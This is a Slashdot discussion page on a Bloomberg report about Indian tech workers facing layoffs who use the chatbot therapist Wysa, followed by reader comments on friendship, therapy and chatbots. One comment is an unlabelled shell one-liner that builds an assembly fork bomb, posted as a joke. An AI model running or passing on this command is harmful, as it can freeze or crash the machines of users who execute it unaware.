Slashdot Mirror
Fired Tech Workers Turn To Chatbots for Counseling (bloomberg.com)
An anonymous reader shares a Bloomberg report: For months Lovkesh Joshi was quietly terrified of losing his job as a manager at a top Indian tech services company. Joshi didn't want to burden his wife or friends so he turned to a chatbot therapist called Wysa. Powered by AI, the app promises to be "loyal, supportive and very private," and encourages users to divulge their feelings about a recent major event or big change in their lives. "I could open up and talk," says the 41-year-old father of two school-age children, who says his conversations with the bot flowed naturally. "I felt heard and understood." Joshi moved to a large rival outsourcer two months ago. The upheaval in India's $154 billion tech outsourcing industry has prompted thousands of Indians to seek solace in online therapy services. People accustomed to holding down prestigious jobs and pulling in handsome salaries are losing out to automation, a shift away from long-term legacy contracts and curbs on U.S. work visas. McKinsey & Co says almost half of the four million people working in India's IT services industry will become "irrelevant" in the next three to four years. Indians, like people the world over, tend to hide their mental anguish for fear of being stigmatized. That's why many are embracing the convenience, anonymity and affordability of online counseling startups, most of which use human therapists.
I really feel like many people around me are chatterbots, just waiting for positive or negative reenforcement in order to engage predetermined responses.
Avantgarde Hebrew science fiction
That is interesting. Please go on.
Response courtesy of Eliza: https://www.eclecticenergies.c...
I generally put people into two categories with regards to their ideas of friendship:
1) Anyone they know and don't hate is a 'friend'. Their relationships are shallow and unreliable, and contact may be infrequent.
2) Friends are rare people they know, like, and have enough of a social bond to depend on them without question in an emergency.
If you, like me, are in the second group... you should be aware it is quite possible you might never find that kind of relationship (I exclude my wife from the count, since that bond is something I rate even higher than friendship). Consider yourself lucky if you find one, never mind more than one.
This is quite independent of the greater social structure, since there's enough of us around these days that any group you classify yourself in is bound to have enough people you can find several you can get along with.
At least they don't have to train their replacements.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
It looks that you way overestimate your own people skills.
People pray and gain emotional benefit from that. A chatbot at least answers.
"It's such a fine line between stupid and clever" -- David St. Hubbins, Spinal Tap
>the 41-year-old father of two school-age children, who says his conversations with the bot flowed naturally. "I felt heard and understood."
No way would I hire someone who feels 'heard and understood' after an exchange with a chat bot. This is somebody without the social skills to have anyone in their life to talk to, and will spill to a dumb text parser. How can you have the intellectual capacity to understand what a chat bot is and still gain any emotional benefit from interacting with one?
Root causes, buddy, root causes. Figure out why you don't have an actual intelligent human in your life to discuss this stuff with, maybe work on that. Because humans are social primates, and if you're not taking care of your social needs, everything else will eventually crumble anyway.
Easy to say in your culture. In other cultures where hierarchy can make you or break you (literally), this is just not possible.
You never understand your own culture (the pros and cons of it) until you have actually stepped out of it, at least for long enough to allow some reflection.
Don't know, is the father of two school-age children so presumably a human woman agreed to unprotected sex with him at some point.
That suggests his social skills go far beyond the typical Slashdot poster.
Repeal the 17th Amendment TODAY! Also Please Read http://www.gnu.org/philosophy/right-to-read.html
That would be we care about your mental health but you aren't worth a human's time.
If you're paying for a human's time, you're not really worth their time either. They're not doing it for you, they're doing it for the money. Head shrinkers can't afford to care about you; if they cared about everyone as real people, they wouldn't have any emotional energy left to care for themselves. They just go through the motions for money, and then you hopefully feel better for expressing yourself. A chatbot can go through the same motions.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
1) Anyone they know and don't hate is a 'friend'. Their relationships are shallow and unreliable, and contact may be infrequent.
Maybe they've got an finer grained grading scale between 'close friend', 'friend', 'acquaintance' and 'enemy' than that but they don't expose the details of that grading scale to anyone else, mainly because it's subject to change for any individual.
It's like in software. You don't document internal details if you think they might change later. Same with how much you trust people, which is really what differentiates close friends from acquaintances.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I don't even have a command line psychotherapist available.
Have gnu, will travel.
A person who prays provides their own answer even if they're not realizing that is the case, so unlike a chat bot there's actually some intelligence there.
Have you ever started talking to a coworker about some sort of issue and in the process of explaining it figured out the solution yourself? How often does a therapist really any have true insight versus simply talking you through your emotions? I think you've fallen off the deep end if you think a chat bot "understands you", but I have no doubt that it can have a big effect to verbalize your thoughts even if you're talking to a teddy bear or rag doll, picture or grave of the deceased or some other inanimate object. And then a chat bot could potentially be better, if it'll ask the thorny questions.
Live today, because you never know what tomorrow brings
In a country with a large proportion of arranged marriages, not necessarily.
No way would I hire someone who feels 'heard and understood' after an exchange with a chat bot. This is somebody without the social skills to have anyone in their life to talk to, and will spill to a dumb text parser. How can you have the intellectual capacity to understand what a chat bot is and still gain any emotional benefit from interacting with one?
Many people become IT engineers because this type of jobs allow them to isolate from society as much as possible while still being productive and earning money. Yes, they would feel more comfortable talking to a chat bot.
There's also the type of people who were severely betrayed by others while their character was forming (e.g. during childhood or teenage years). They grew up to distrust other human beings. Yes, it's pathological but the issue is still there. Those chatbots might be a step towards opening up to another human being, or they could just sink the affected person deeper into their mistrust towards other human beings. I don't know.
But I know that to some people, chatbots are appealing.
And I don't give a flying fuck if that IT engineer feels better talking to a chatbot as long as that makes him happier and he's productive at work. After all, it's a business and he's hired to work productively.
...gis sdrawkcab (usually not responding to ACs; don't bother posting as AC)
It's kind of interesting, the social expectation of a man to be strong in every situation. It's understandable and IMHO a good thing both for society but also for the men themselves. Still, I can't help but feel a little saddened that it has reached a point where men are not able to reveal any vulnerabilities to anyone, ever, not even to the people closest to them such as their wife and friends. That has to take a toll on people